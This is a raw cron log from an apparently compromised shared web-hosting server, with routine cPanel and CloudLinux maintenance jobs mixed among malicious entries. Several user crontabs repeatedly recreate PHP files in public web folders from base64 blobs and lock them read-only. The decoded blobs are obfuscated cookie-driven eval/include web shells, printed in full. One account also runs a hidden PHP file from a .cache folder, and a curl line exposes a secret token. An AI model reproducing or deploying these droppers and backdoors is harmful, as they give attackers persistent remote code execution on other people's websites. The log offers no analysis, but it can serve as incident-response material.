Jun  7 13:04:01 medusa CROND[22441]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:05:01 medusa CROND[24116]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 13:05:01 medusa CROND[24118]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 13:05:02 medusa CROND[24124]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:05:02 medusa CROND[24125]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 13:05:02 medusa CROND[24126]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 13:05:02 medusa CROND[24127]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 13:05:02 medusa CROND[24129]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:05:02 medusa CROND[24130]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 13:05:02 medusa CROND[24132]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:05:02 medusa CROND[24134]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 13:05:02 medusa CROND[24136]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:05:02 medusa CROND[24135]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 13:05:02 medusa CROND[24140]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 13:05:02 medusa CROND[24142]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:05:02 medusa CROND[24139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:05:02 medusa CROND[24147]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:05:02 medusa CROND[24151]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:05:02 medusa CROND[24153]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:05:02 medusa CROND[24154]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 13:05:02 medusa CROND[24158]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:05:02 medusa CROND[24163]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:05:02 medusa CROND[24162]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 13:05:02 medusa CROND[24164]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 13:05:02 medusa CROND[24152]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 13:06:01 medusa CROND[25696]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:06:02 medusa CROND[25708]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:06:02 medusa CROND[25709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:06:02 medusa CROND[25710]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 13:06:02 medusa CROND[25712]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:06:02 medusa CROND[25711]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 13:06:02 medusa CROND[25716]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 13:06:02 medusa CROND[25717]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:06:02 medusa CROND[25718]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:06:02 medusa CROND[25720]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:06:02 medusa CROND[25721]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:06:02 medusa CROND[25722]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:06:02 medusa CROND[25731]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 13:06:02 medusa CROND[25733]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
